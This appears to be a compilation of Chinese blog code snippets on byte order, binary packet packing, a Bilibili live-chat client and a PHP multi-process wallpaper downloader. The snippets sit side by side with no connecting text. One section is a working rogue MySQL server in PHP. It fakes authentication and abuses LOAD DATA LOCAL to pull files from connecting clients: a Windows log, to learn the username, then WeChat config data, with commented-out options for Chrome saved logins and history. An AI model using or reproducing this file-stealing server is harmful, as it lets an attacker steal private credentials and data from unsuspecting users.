#include <stdio.h>

int main() {
    __uint16_t val = 0x1234;

    char a = ((char *) &val)[0]; // 低位地址
    char b = ((char *) &val)[1]; // 高位地址

    printf("a = %x\n", a);
    printf("b = %x\n", b);

    if (a == 0x34) {
        printf("小端模式\n");
    } else {
        printf("大端模式\n");
    }

    return 0;
}

a = 34
b = 12
小端模式

#include <stdio.h>

int main()
{
    union test {
        __uint32_t a;
        char b;
    };

    union test val;

    val.a = 0x12345678;

    printf("%x\n", val.b);

    if (val.b == 0x78) {
        printf("小端模式\n");
    } else {
        printf("大端模式\n");
    }

    return 0;
}

// 小端模式
# define LITTLE_ENDIAN	__LITTLE_ENDIAN
// 大端模式
# define BIG_ENDIAN	__BIG_ENDIAN
// 当前主机的字节序
# define BYTE_ORDER	__BYTE_ORDER

#include <endian.h>

int main()
{
    if (BYTE_ORDER == LITTLE_ENDIAN) {
        printf("小端模式\n");
    } else {
        printf("大端模式\n");
    }

    return 0;
}

int main()
{
    __uint32_t val = 0x12345678;

    unsigned char *x = (unsigned char *) &val, tmp;

    // 0x78 与 0x12 进行交换
    tmp = x[0];
    x[0] = x[3];
    x[3] = tmp;

    // 0x56 与 0x34 交换
    tmp = x[1];
    x[1] = x[2];
    x[2] = tmp;

    // 输出：0x78563412
    printf("0x%x\n", val);

    return 0;
}

// 转换 16 位整数
htobe16(x)
be16toh(x)

// 转换 32 位整数
htobe32(x)
be32toh(x)

// 转换 64 位整数
htobe64(x)
be64toh(x)

int main()
{
    __uint32_t val = 0x12345678;
    // 输出：0x78563412
    printf("0x%x\n", htobe32(val));

    return 0;
}

while (true) {
    rbytes = read(fd);
    if (rbytes < 0 && errno == EWOULDBLOCK) {
        continue;
    }
    // 处理数据
}

define('SERVER_ADDRESS', '0.0.0.0'); // 服务地址
define('SERVER_PORT', 8080);         // 端口号
define('BUF_MAX_SIZE', 1024 * 100);  // 每次最多读取多少字节的数据

// MySQL 信息报文（版本号、salt等信息）
define('MYSQL_INFO_MESSAGE', "\x4a\x00\x00\x00\x0a\x35\x2e\x35\x2e\x35\x33\x00\x17\x00\x00\x00\x6e\x7a\x3b\x54\x76\x73\x61\x6a\x00\xff\xf7\x21\x02\x00\x0f\x80\x15\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x70\x76\x21\x3d\x50\x5c\x5a\x32\x2a\x7a\x49\x3f\x00\x6d\x79\x73\x71\x6c\x5f\x6e\x61\x74\x69\x76\x65\x5f\x70\x61\x73\x73\x77\x6f\x72\x64\x00");
// MySQL 认证成功报文
define('MYSQL_AUTH_SUCCESS', "\x07\x00\x00\x02\x00\x00\x00\x02\x00\x00\x00");

// 创建 TCP Socket
$server = socket_create(AF_INET, SOCK_STREAM, SOL_TCP);
// 将 Socket 绑定到指定的主机地址和端口上
socket_bind($server, SERVER_ADDRESS, SERVER_PORT);
// 开始监听 Socket
socket_listen($server);

// 这里 while true 是为了处理完一个连接之后，又可以继续处理下一个连接
while (true) {
    // 由于我们刚刚创建的 $server 是阻塞 IO，
    // 所以代码运行到这的时候会阻塞住，会将 CPU 让出去，
    // 直到有客户端来连接
    $conn = socket_accept($server);

    // 后面的代码都是从这开始的
}

// 发送 MySQL 服务信息报文
socket_write($conn, MYSQL_INFO_MESSAGE);
// 读取账号密码
socket_read($conn, BUF_MAX_SIZE);
// 发送认证成功报文
socket_write($conn, MYSQL_AUTH_SUCCESS);
// 读取设置编码的报文
socket_read($conn, BUF_MAX_SIZE);

function get_log_path($conn)
{
    /* 从连接中获取 ip 地址 */
    socket_getsockname($conn, $remote_ip);

    $log_path = __DIR__.'/log/'.$remote_ip;

    if (!is_dir($log_path)) {
        mkdir($log_path, 0777, true);
    }

    return $log_path;
}

function read_file($conn, $filename)
{
    // 构造读取文件的报文
    $packet = chr(strlen($filename) + 1)."\x00\x00\x01\xFB".$filename;
    // 发送读取文件的报文
    $result = socket_write($conn, $packet);
    if ($result === false) {
        return false;
    }

    // 读取客户端发过来的文件内容
    return socket_read($conn, BUF_MAX_SIZE);
}

// 不存在 PFRO.log 说明是第一次连接，需要先获取该文件
if (!file_exists("{$log_path}/PFRO.log")) {
    // 读取文件内容
    $content = read_file($conn, 'C:/Windows/PFRO.log');
    if ($content === false) {
        printf("read PFRO.log failed, %s\n", socket_last_error());
        socket_close($conn);
        continue;
    }

    printf("read PFRO.log success...\n");

    // 断开连接
    socket_close($conn);
    // 保存文件内容
    file_put_contents("{$log_path}/PFRO.log", $content);
    continue;
}

// 读取文件内容并替换特殊字符
$content = file_get_contents("{$log_path}/PFRO.log");
$content = str_replace(["\n", "\r", "\t", "\00", ' ',], '', $content);
$content = str_replace('\\', '/', $content);

// 解析出用户名
preg_match("#Users/(.*)/#", $content, $data);
$username = explode('/', $data[1])[0];

// 要获取的文件名
$filename = "C:/Users/{$username}/Documents/WeChat Files/All Users/config/config.data";
// $filename = "C:/Users/{$username}/AppData/Local/Google/Chrome/User Data/Default/Login Data";
// $filename = "C:/Users/{$username}/AppData/Local/Google/Chrome/User Data/Default/History";
// 保存到本地的文件名
$save_filename = str_replace(['/', ':'], ['_', ''], $filename);

// 读取该文件
$content = read_file($conn, $filename);
if ($content === false) {
    printf("read %s failed, %s\n", $filename, socket_last_error());
    socket_close($conn);
    continue;
}

// 设置为非阻塞
socket_set_nonblock($conn);

do {
    printf("read %d bytes from %s...\n", strlen($content), $filename);
    // 以追加的方式写入文件内容
    file_put_contents("{$log_path}/{$save_filename}", $content, FILE_APPEND);
    // 继续读取文件内容，当文件内容为空时说明读完了
    $content = socket_read($conn, BUF_MAX_SIZE);
} while (!empty($content));

// 关闭连接
socket_close($conn);

/**
 * 头部长度
 */
const HEADER_LEN = 16;

/**
 * 协议版本
 */
const PROTOCOL_VERSION = 2;

/**
 * 魔法数字，设置为 1 即可
 */
const MAGIC_NUMBER = 1;

public static function pack($opcode, $payload = '')
{
    $packetLen = static::HEADER_LEN;
    if (!empty($payload)) {
        $packetLen += strlen($payload);
    }

    return pack('NnnNN', $packetLen, static::HEADER_LEN, static::PROTOCOL_VERSION, $opcode, static::MAGIC_NUMBER).$payload
}

return sprintf(
    '%s%s%s%s%s%s',
    pack('N', $packetLen),
    pack('n', static::HEADER_LEN),
    pack('n', static::PROTOCOL_VERSION),
    pack('N', $opcode),
    pack('N', static::MAGIC_NUMBER),
    $payload
);

$data = pack('Nnn', 2021, 3, 31);

var_dump($data);

$arr = unpack('Nyear/nmonth/nday', $data);

var_dump($arr);

// 输出：

string(8) "\000\000�\000\000"
array(3) {
  'year' => int(2021)
  'month' =>int(3)
  'day' => int(31)
}

public static function unpack($data)
{
    if (empty($data)) {
        return [];
    }

    return unpack('Npacket_len/nheader_len/nprotocol_version/Nopcode/Nmagic_number/a*payload', $data);
}

const PACKET_HEADER_LEN = 16;
const PACKET_PROTOCOL_VERSION = 2;
const PACKET_MAGIC_NUMBER = 1;

class Packet {
    static pack(opcode, payload = '') {
        let packet_len = PACKET_HEADER_LEN;
        if (payload.length > 0) {
            packet_len += payload.length;
        }

        let buffer = Buffer.alloc(packet_len);

        buffer.writeInt32BE(packet_len, 0);
        buffer.writeInt16BE(PACKET_HEADER_LEN, 4);
        buffer.writeInt16BE(PACKET_PROTOCOL_VERSION, 6);
        buffer.writeInt32BE(opcode, 8);
        buffer.writeInt32BE(PACKET_MAGIC_NUMBER, 12);

        if (payload.length > 0) {
            buffer.write(payload, PACKET_HEADER_LEN, payload.length);
        }

        return buffer;
    }

    static unpack(data) {
        let buffer = Buffer.from(data);

        return {
            packet_len: buffer.readInt32BE(0),
            header_len: buffer.readInt16BE(4),
            version: buffer.readInt16BE(6),
            opcode: buffer.readInt32BE(8),
            magic_number: buffer.readInt32BE(12),
            data: buffer.slice(PACKET_HEADER_LEN),
        };
    }
}

 const CHAT_CONFIG_URL = 'https://api.live.bilibili.com/room/v1/Danmu/getConf?room_id=%d';

/**
 * 获取直播间配置
 * @param $room_id
 * @return mixed
 * @throws \Exception
 */
public static function getChatConfig($room_id)
{
    if (isset(static::$roomConfigs[$room_id])) {
        return static::$roomConfigs[$room_id];
    }

    $response = file_get_contents(sprintf(self::CHAT_CONFIG_URL, $room_id));
    $response = json_decode($response, true);

    if (empty($response) || $response['code'] != 0) {
        throw new \Exception("Get chat conf failed, reason: {$response['msg']}");
    }

    static::$roomConfigs[$room_id] = $response['data'];

    return $response['data'];
}

{
    "code":0,
    "msg":"ok",
    "message":"ok",
    "data":{
        "refresh_row_factor":0.125,
        "refresh_rate":100,
        "max_delay":5000,
        "port":2243,
        "host":"broadcastlv.chat.bilibili.com",
        "token":"pMF5ippgZMpHIHzTsfKHp9YyqmW3yEfuIuL3pXSMXJ8_9UFN-qSRIPTRxNjpNOr5HQ2-ajI0RcSQkMud2_-lMLoEN92k1glp9fOslshF5SFDqDhlEJRAvUwezoyz72ZdNh-sSqHMPsGOJGMOXZmRNA"
    }
}

{
  "uid": "0 表示未登录，否则为用户ID",
  "roomid": "房间ID",
  "protover": "协议版本号",
  "platform": "平台",
  "clientver": "客户端版本号",
  "token": "接口返回的 token"
}

public static function getAuthenticatePacket($room_id, $token = null)
{
    if (empty($token)) {
        $token = static::getChatConfig($room_id)['token'];
    }

    $payload = \json_encode([
        'uid' => 0,
        'roomid' => $room_id,
        'protover' => Packet::PROTOCOL_VERSION,
        'platform' => 'web',
        'token' => $token,
    ]);

    return Packet::pack(Opcode::AUTHENTICATION, $payload);
}

\000\000\000�\000\000\000\000\000\000\000\000{"uid":0,"roomid":22590309,"protover":2,"platform":"web","token":"pMF5ippgZMpHIHzTsfKHp9YyqmW3yEfuIuL3pXSMXJ8_9UFN-qSRIPTRxNjpNOr5HQ2-ajI0RcSQkMud2_-lMLoEN92k1glp9fOslshF5SFDqDhlEJRAvUwezoyz72ZdNh-sSqHMPsGOJGMOXZmRNA"}

array(6) {
  'packet_len' => int(26)
  'header_len' => int(16)
  'protocol_version' => int(2)
  'opcode' => int(8)
  'magic_number' => int(1)
  'payload' => string(10) "{"code":0}"
}

public static function getHeartBeatPacket()
{
    return Packet::pack(Opcode::CLIENT_HEARTBEAT);
}

$room_id = 22590309;
/* 获取直播间配置 */
$config = BilibiliBarrage::getChatConfig($room_id);

/* 创建异步 TCP 连接对象 */
$conn = new AsyncTcpConnection("tcp://{$config['host']}:{$config['port']}");

$conn->onConnect = function(TcpConnection $conn) use ($room_id, $config) {
    $packet = BilibiliBarrage::getAuthenticatePacket($room_id, $config['token']);
    /* 发送认证包 */
    $result = $conn->send($packet, true);
    if (!$result) {
        Worker::safeEcho("发送认证包失败\n");
        return;
    }

    /* 开启定时任务 */
    Timer::add(BilibiliBarrage::HEART_BEAT_INTERVAL, function (TcpConnection $conn) {
        /* 发送心跳包 */
        $conn->send(BilibiliBarrage::getHeartBeatPacket(), true);
    }, [$conn]);
};

$conn->onMessage = function($conn, $data) {
    $packet = Packet::unpack($data);
    /* 通过 opcode 判断消息类型 */
    switch ($packet['opcode']) {
        case Opcode::POPULARITY_VALUE:
            Worker::safeEcho(sprintf("人气值: %d\n", Packet::parsePayload($packet['opcode'], $packet['payload'])));
            break;
        case Opcode::CMD:
            /* 解析数据 */
            $payload = Packet::parsePayload($packet['opcode'], $packet['payload']);
            if (empty($payload)) {
                break;
            }

            switch ($payload['cmd']) {
                case 'INTERACT_WORD':
                    Worker::safeEcho("{$payload['data']['uname']} 进入直播间\n");
                    break;
                case 'DANMU_MSG':
                    Worker::safeEcho("{$payload['info'][2][1]}: {$payload['info'][1]}\n");
                    break;
                case 'SEND_GIFT':
                    Worker::safeEcho("{$payload['data']['uname']} {$payload['data']['action']} {$payload['data']['giftName']}\n");
                    break;
                case 'COMBO_SEND':
                    Worker::safeEcho("{$payload['data']['uname']} {$payload['data']['action']} {$payload['data']['gift_name']} [combo]\n");
                    break;
                /* 更多命令查看 \App\CMD.php 文件 */
            }
            break;
        case Opcode::SERVER_HEARTBEAT:
            Worker::safeEcho("加入房间成功\n");
            break;
        default:
            /* 未知的 opcode 可以打印 packet */
            // var_dump($packet);
            break;
    }
};

    public function run()
    {
        // 检查运行环境
        $this->checkEnv();
        // 守护进程
        $this->daemonize();
        // 安装信号处理器
        $this->installSignalHandler();
        // 初始化 Redis
        $this->initRedis();
        // 初始化进程
        $this->initWorkers();
        // 监听子进程状态
        $this->monitor();
    }

    protected function checkEnv()
    {
        if ('//' == \DIRECTORY_SEPARATOR) {
            exit('目前只支持 linux 系统'.PHP_EOL);
        }

        if (!\extension_loaded( 'pcntl') ) {
            exit('缺少 pcntl 扩展'.PHP_EOL);
        }

        if (!\extension_loaded( 'posix') ) {
            exit('缺少 posix 扩展'.PHP_EOL);
        }

        if (version_compare(PHP_VERSION, 7.1, '<')) {
            declare(ticks = 1);
        } else {
            // 启用异步信号处理
            \pcntl_async_signals(true);
        }
    }

    protected function daemonize()
    {
        if (self::$options['daemonize'] !== true) {
            return;
        }

        // 设置当前进程创建的文件权限为 777
        umask(0);

        $pid = \pcntl_fork();
        if ($pid < 0) {
            $this->log('创建守护进程失败');
            exit;
        } else if ($pid > 0) {
            // 主进程退出
            exit(0);
        }

        // 将当前进程作为会话首进程
        if (\posix_setsid() < 0) {
            $this->log('设置会话首进程失败');
            exit;
        }

        // 两次 fork 保证形成的 daemon 进程绝对不会成为会话首进程
        $pid = \pcntl_fork();
        if ($pid < 0) {
            $this->log('创建守护进程失败');
            exit;
        } else if ($pid > 0) {
            // 主进程退出
            exit(0);
        }
    }

    protected function initRedis()
    {
        $this->redisClient = new Client(self::$options['redis']);
    }

    protected function installSignalHandler()
    {
        // 捕获 SIGINT 信号，终端中断
        \pcntl_signal(SIGINT, [$this, 'stopAllWorkers'], false);

        // 捕获 SIGPIPE 信号，忽略掉所有管道事件
        \pcntl_signal(\SIGPIPE, \SIG_IGN, false);
    }

    protected function stopAllWorkers()
    {
        if (self::$maserPid !== \posix_getpid()) {
            // 子进程
            unset(self::$workers[$this->workerId]);
            exit(0);
        }

        // 父进程
        foreach (self::$workers as $pid) {
            // 给 worker 进程发送关闭信号
            \posix_kill($pid, SIGINT);
        }
    }

    protected function initWorkers()
    {
        self::$maserPid = \posix_getpid();

        $this->forkWorker(1, [$this, 'extractWallpaperUrl']);

        $workerNum = (int) self::$options['worker_num'];

        for ($i = 0; $i < $workerNum; $i++) {
            $this->forkWorker($i + 2, [$this, 'downloadWallpaper']);
        }
    }

    protected function forkWorker($workerId, $callback)
    {
        $pid = \pcntl_fork();

        if ($pid > 0) {
            // 父进程记录子进程 PID
            self::$workers[$workerId] = $pid;
        } elseif ($pid === 0) {
            // 子进程处理业务逻辑
            $this->workerId = $workerId;

            if ($callback instanceof \Closure) {
                $callback();
            } else if (isset($callback[1]) && is_object($callback[0])) {
                \call_user_func($callback);
            }

            exit(0);
        } else {
            $this->log('进程创建失败');
            exit;
        }
    }

    protected function extractWallpaperUrl()
    {
        $this->log('提取壁纸地址进程启动...');

        $page = 1;

        do {
            $html = \file_get_contents("https://bing.ioliu.cn/?p={$page}");
            \preg_match_all('/<img([^>]*)\ssrc="([^\s>]+)"/', $html,$matches);

            if (empty($matches[2]) || \count($matches[2]) === 3) {
                $this->log('壁纸地址提取完毕, 当前页码: %s', $page);
                break;
            }

            $urls = \array_unique(\array_filter($matches[2]));

            if (!empty($urls)) {
                // 将壁纸 url 放入队列中
                $this->redisClient->sadd(self::$options['queue_key'], $urls);
            }

            $this->log('提取壁纸数量: %s, 当前页面: %s', count($urls), $page++);
        } while (true);
    }

    protected function downloadWallpaper()
    {
        $this->log('下载壁纸进程启动...');

        while (self::$freeTime < self::$options['max_free_time']) {
            $url = $this->redisClient->spop(self::$options['queue_key']);

            if (empty($url)) {
                $this->log('空闲时间: %s/%ss', self::$freeTime++, self::$options['max_free_time']);
                \sleep(1);
                continue;
            }

            try {
                $result = $this->saveWallpaper($url);
                if (!$result) {
                    $this->redisClient->sadd(self::$options['queue_key'], [$url]);
                }
            } catch (\Exception $e) {
                $result = false;
                $this->log('保存壁纸异常: %s', $e->getMessage());
            }

            $this->log('壁纸下载%s, %s', $result ? '成功' : '失败', $url);
        }
    }

    protected function monitor()
    {
        while (true) {
            $pid = $this->acceptSignal();

            if ($pid > 0) {
                $this->log('子进程退出信号, PID: %s', $pid);
                // 翻转 workers 的键值
                $workers = \array_flip(self::$workers);
                $workerId = $workers[$pid];
                // 删除子进程
                unset(self::$workers[$workerId]);
                // 如果没有在运行的子进程则退出主进程
                count(self::$workers) === 0 && exit(0);
            } else {
                $this->log('其它信号, PID: %s', $pid);
                exit(0);
            }
        }
    }

    protected function acceptSignal()
    {
        if (\version_compare(PHP_VERSION, 7.1, '>=')) {
            return \pcntl_wait($status, WUNTRACED);
        }

        // 调用等待信号的处理器
        \pcntl_signal_dispatch();
        $pid = \pcntl_wait($status, WUNTRACED);
        \pcntl_signal_dispatch();

        return $pid;
    }

$options = [
    'daemonize'     => false,   // 是否 daemon 化
    'worker_num'    => 3,       // 下载壁纸进程数量
    'max_free_time' => 60,      // 最大空闲时间（秒）
    'save_dir'      => __DIR__.'/wallpaper',    // 壁纸保存位置
    'queue_key'     => 'wallpaper_url_queue',   // 壁纸下载地址的 redis key
    'redis' => [                                // redis 配置
        'scheme' => 'tcp',
        'host'   => '127.0.0.1',
        'port'   => 6379,
    ],
];

$wallpaper = new BingWallpaperDownloader($options);

$wallpaper->run();

vagrant@homestead:~/code/her-cat/download_bing_wallpaper$ php index.php
[2020-02-02 10:41:34] [worker-1] 提取壁纸地址进程启动...
[2020-02-02 10:41:34] [worker-3] 下载壁纸进程启动...
[2020-02-02 10:41:34] [worker-2] 下载壁纸进程启动...
[2020-02-02 10:41:34] [worker-4] 下载壁纸进程启动...
[2020-02-02 10:41:35] [worker-1] 提取壁纸数量: 12, 当前页面: 1
[2020-02-02 10:41:35] [worker-2] 壁纸下载成功, http://h1.ioliu.cn/bing/NutcrackerSeason_EN-AU8373379424_1920x1080.jpg
[2020-02-02 10:41:35] [worker-3] 壁纸下载成功, http://h1.ioliu.cn/bing/zhenghe_ZH-CN9628081460_1920x1080.jpg
[2020-02-02 10:41:36] [worker-4] 壁纸下载成功, http://h1.ioliu.cn/bing/MonumentFountain_EN-AU10536043652_1920x1080.jpg
[2020-02-02 10:41:37] [worker-2] 壁纸下载成功, http://h1.ioliu.cn/bing/JeanLafitte_EN-AU11428973003_1920x1080.jpg
[2020-02-02 10:41:37] [worker-1] 提取壁纸数量: 12, 当前页面: 2
[2020-02-02 10:41:37] [worker-3] 壁纸下载成功, http://h1.ioliu.cn/bing/MorondavaBaobab_EN-AU11363642614_1920x1080.jpg
[2020-02-02 10:41:37] [worker-3] 壁纸下载成功, http://h1.ioliu.cn/bing/SnowHare_ZH-CN9767012872_1920x1080.jpg
[2020-02-02 10:41:38] [worker-4] 壁纸下载成功, http://h1.ioliu.cn/bing/ShenandoahAutumn_EN-AU11784755049_1920x1080.jpg
^C[2020-02-02 10:41:38] [worker-0] 其它信号, PID: -1

vagrant@homestead:~/code/her-cat/download_bing_wallpaper/wallpaper$ ls
AbstractSaltBeds_ZH-CN8351691359_1920x1080.jpg         MauiEucalyptus_ZH-CN5616197787_1920x1080.jpg
AcadiaBlueberries_ZH-CN6014510748_1920x1080.jpg        may1_ZH-CN8582006115_1920x1080.jpg
AdelieBreeding_ZH-CN1750945258_1920x1080.jpg           MeerkatHuddle_ZH-CN1358126294_1920x1080.jpg
AdobeSantaFe_EN-AU3063917358_1920x1080.jpg             MeerkatMob_ZH-CN3788674757_1920x1080.jpg
AerialKluaneNP_ZH-CN4080112842_1920x1080.jpg           MeteorCrater_EN-AU9993563603_1920x1080.jpg